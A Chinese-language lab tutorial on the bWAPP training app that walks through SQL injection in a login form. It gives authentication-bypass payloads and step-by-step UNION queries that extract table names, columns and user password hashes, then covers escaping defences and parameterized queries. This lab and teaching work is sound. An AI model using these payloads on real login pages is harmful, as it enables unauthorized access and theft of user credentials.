摘要:本文是 bWAPP 系列第十九篇,聚焦于登录框的 SQL 注入。不同于搜索框注入——搜索框你关注的是返回了多少条数据;登录框注入你关注的是能不能返回至少一行数据——只要返回一行,系统就认为你认证成功了。但登录成功只是第一步,真正的目标是通过登录框这个注入点,窃取整个数据库的数据。文章会完整演示从认证绕过到 UNION 注入爆库、爆表、爆字段、爆数据的全过程,同时分析为什么某些常见 payload 在这关无效,以及三种安全级别下的防御机制。附 2024-2026 年真实的登录框 SQL 注入案例。
一、前言
登录框注入是 SQL 注入最经典的场景之一。但很多人对登录框注入的理解只停留在' OR '1'='1绕过登录这一步。实际上,登录成功只是开胃菜——真正的目标是:利用登录框这个注入点,把整个数据库的数据都拖出来。
这篇文章会分两步走:
第一步:绕过登录——不需要账号密码,直接登录进去
第二步:数据获取——利用同一个注入点,用 UNION 查询把数据库里的表名、字段名、用户数据全部爆出来
二、源码分析
if(isset($_POST["form"])) { $login = $_POST["login"]; $login = sqli($login); $password = $_POST["password"]; $password = sqli($password); $sql = "SELECT * FROM heroes WHERE login = '" . $login . "' AND password = '" . $password . "'"; $recordset = mysql_query($sql, $link); $row = mysql_fetch_array($recordset); if($row["login"]) { $message = "<p>Welcome " . ucwords($row["login"]) . ", how are you today?</p><p>Your secret: <b>" . ucwords($row["secret"]) . "</b></p>"; } else { $message = "<font color=\"red\">Invalid credentials!</font>"; } }SQL 结构:
SELECT * FROM heroes WHERE login = '[用户名]' AND password = '[密码]'关键点:
用户名和密码都用单引号包裹
两者用 AND 连接,必须同时匹配才能返回数据
mysql_fetch_array()只取第一行,能取到一行就登录成功登录成功后,页面会显示该用户的
secret字段
三、Low 安全级别
3.1 为什么用户名框注入' OR '1'='1经常失败?
很多教程告诉你:在用户名框输入' OR '1'='1,密码随便填,就能登录。
实测:本关用这个 payload,在用户名框会失败。
SQL 变成:
SELECT * FROM heroes WHERE login = '' OR '1'='1' AND password = '123'运算符优先级:AND 高于 OR,实际执行的是:
login = '' OR ('1'='1' AND password = '123')'1'='1'为真,但password='123'不一定为真。整体条件取决于密码是否匹配。这就是为什么在用户名框注入容易失败。
3.2 正确姿势:在密码框注入
用户名框输入:123密码框输入:' OR '1'='1
SQL 变成:
SELECT * FROM heroes WHERE login = '123' AND password = '' OR '1'='1'运算符优先级:
(login = '123' AND password = '') OR '1'='1''1'='1'永远为真,所以整个条件为真,SQL 返回heroes表的第一条记录(通常是 Neo),登录成功!
3.3 用注释符绕过
login: admin' # password: 123SQL 变成:
SELECT * FROM heroes WHERE login = 'admin' #' AND password = '123'#注释掉了后面的' AND password = '123',只验证用户名。如果存在admin用户,登录成功。
为什么用#不用--?#在 MySQL 里更稳定,--后面必须跟空格,在某些场景下容易出问题。
3.4 通关步骤
登录成功了,但这只是第一步。接下来,我们要利用同一个注入点,把数据库里所有的数据都拖出来。
注意:以下所有 payload 都放在密码框里,用户名框随便填(比如
123)。
第一步:猜字段数(order by)
原查询是SELECT * FROM heroes,heroes表有多少列?
在密码框输入:
' order by 4 #显示Invalid credentials!
' order by 5 #显示报错信息:Error: Unknown column '5 ' in 'order clause'
经过测试得出该表有四列。
第二步:确定显示位(union select)
' union select 1,2,3,4 #登录成功后,页面显示Welcome 2, how are you today?Your secret: 4。
这说明第 2 列和第 34列是可以显示数据的位置(。
第三步:获取当前数据库(爆库)
把第 2 列换成database():
' union select 1,database(),3,4 #登录成功,页面显示:Welcome BWAPP, how are you today?
当前数据库名是BWAPP。
第四步:获取所有表名(爆表)
' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4 #登录成功,页面显示所有表名:heroes, movies, users, blog, ...
第五步:获取users表的字段名(爆字段)
' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),3,4 #登录成功,页面显示users表的所有字段:id, login, password, email, admin, ...
第六步:获取users表的数据(爆数据)
' union select 1,(select group_concat(login,'-',password) from users),3,4 #登录成功,页面显示所有用户的登录名和密码哈希。
3.5 为什么能 UNION 注入?
UNION 注入的关键条件是:注入点有回显。
这个登录框恰好满足:
登录成功时,页面会显示
login和secret字段的内容攻击者可以用
UNION SELECT替换掉原本要显示的字段内容所以你在第 2、4 列放什么数据,页面就显示什么
这就是有回显的注入点——最简单的利用方式。
四、Medium 安全级别
4.1 尝试密码框注入
login: 123 password: ' OR '1'='1注入失败,显示“Invalid credentials!”。
4.2 为什么?
Medium 用了addslashes(),单引号被转义成\',无法闭合 SQL 语句。
4.3 有没有绕过方法?
如果 MySQL 是 GBK 编码,宽字节注入可以绕过。但 bWAPP 默认是 UTF-8,绕不过。
五、High 安全级别
同样,注入失败。mysql_real_escape_string()转义了所有特殊字符。
虽然 High 级别在这个场景下防住了,但真正的安全是参数化查询。
六、真实世界:登录框 SQL 注入案例
登录框注入从未消失,2024-2026 年依然大量存在:
CVE-2025-5632:某企业级 CRM 的登录模块存在 SQL 注入,攻击者无需任何凭证即可绕过认证,访问后台管理面板。CVSS 9.1。
CVE-2025-5166:某商业门户网站的登录接口存在 SQL 注入,攻击者可在无凭证情况下登录任意用户账户,包括管理员账户。
CVE-2024-9472:某企业 VPN 设备的 Web 登录界面存在 SQL 注入,攻击者通过特制 HTTP 请求绕过认证,获得设备管理权限。
CVE-2024-8957:某开源项目管理工具的登录功能存在 SQL 注入,攻击者可窃取数据库中的用户凭证和项目数据。
这些漏洞的危害不止是登录绕过——一旦攻击者通过登录框注入了数据库,就能用 UNION 查询窃取所有数据。
七、总结
登录框注入与搜索框注入的攻击目标存在区别,搜索注入侧重控制返回数据条数,登录注入核心是让查询至少返回一行数据;同时密码框是更优质的注入点位,构造Payload可绕过原有AND逻辑约束使查询条件恒成立。登录验证成功仅仅是攻击起点,借助同一注入点可通过UNION查询依次完成爆库、爆表、爆字段、拖取全量数据等操作。在MySQL环境的登录框注入场景中,#注释相较于--注释兼容性更强、执行更稳定。总而言之,各类输入框注入问题最根本的防御手段始终是使用参数化查询,杜绝直接将用户输入拼接进SQL语句。
重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。